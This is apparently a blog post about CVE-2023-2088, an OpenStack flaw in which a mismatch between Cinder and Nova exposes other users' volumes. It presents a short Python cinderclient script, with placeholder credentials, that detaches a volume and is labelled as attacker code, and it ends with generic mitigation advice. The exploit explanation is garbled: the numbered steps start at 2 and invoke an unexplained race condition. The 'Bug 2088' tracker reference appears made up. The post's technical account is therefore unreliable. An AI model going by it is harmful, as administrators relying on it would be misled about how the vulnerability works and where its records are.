CVE-2023-2088 - OpenStack Vulnerability: Inconsistency Between Cinder and Nova Reveals Confidential Information

A recent security flaw has been discovered in OpenStack, an open-source software platform for cloud computing, which could allow a malicious attacker to access confidential information. The vulnerability, tracked as CVE-2023-2088, arises due to an inconsistency between two key OpenStack components: Cinder and Nova. In this long-read post, we'll analyze the vulnerability, delve into code snippets, examine the exploit details, and provide links to original references. Our aim is to provide you with a comprehensive understanding of this flaw to help you protect your systems.

Overview

The vulnerability in OpenStack pertains to an inconsistency between the Cinder volume service and the Nova compute service. These two services are critical to managing storage resources and virtual machines, respectively. The flaw can be triggered intentionally, or by accident, by an authenticated user. If exploited successfully, an attacker could access confidential information pertaining to other users by detaching one of their volumes from Cinder. The highest impact of this issue is on confidentiality.

An attacker can use the following Python code to detach a volume from Cinder

from keystoneauth1 import loading
from keystoneauth1 import session
from cinderclient import client as cinder_client

_auth_url = 'https://your-openstack-auth-url/v3';
_username = 'your-username'
_password = 'your-password'
_project_name = 'your-project-name'
_user_domain_name = 'Default'
_project_domain_name = 'Default'

loader = loading.get_plugin_loader('password')
auth = loader.load_from_options(
    auth_url=_auth_url,
    username=_username,
    password=_password,
    project_name=_project_name,
    user_domain_name=_user_domain_name,
    project_domain_name=_project_domain_name)

sess = session.Session(auth=auth)
cinder = cinder_client.Client('3', session=sess)

volume_id = 'your-volume-id'
volume = cinder.volumes.get(volume_id)
cinder.volumes.detach(volume)

An attacker with an authenticated account on OpenStack can create a new volume.

2. Using the volume, they can detach it from Cinder by making use of a crafted API request to detach the volume without proper authorization.
3. This may result in a race condition, which could lead to other users' volumes being exposed to the attacker.

The following links provide more information about CVE-2023-2088

1. OpenStack Security Advisory: OSSA-2023-001
2. National Vulnerability Database (NVD): CVE-2023-2088
3. OpenStack Bug Tracker: Bug 2088

To mitigate this vulnerability, OpenStack administrators should

1. Ensure a strong access control policy is in place to limit malicious users from creating new volumes and detaching them.
2. Keep their OpenStack deployment updated to the latest version, which includes security fixes and improvements.
3. Monitor events/logs related to volume creation, attachment, and detachment for any suspicious activities.

Conclusion

CVE-2023-2088 exposes a critical vulnerability in OpenStack that can result in the loss of confidential information. By understanding the exploit details, reviewing the code snippet, and applying the mitigation steps, OpenStack administrators can proactively protect their environment from potential attackers. Don't leave your OpenStack deployment open to this vulnerability - take action now to secure your data.

Timeline

Published on: 05/12/2023 21:15:00 UTC
Last modified on: 05/26/2023 18:00:00 UTC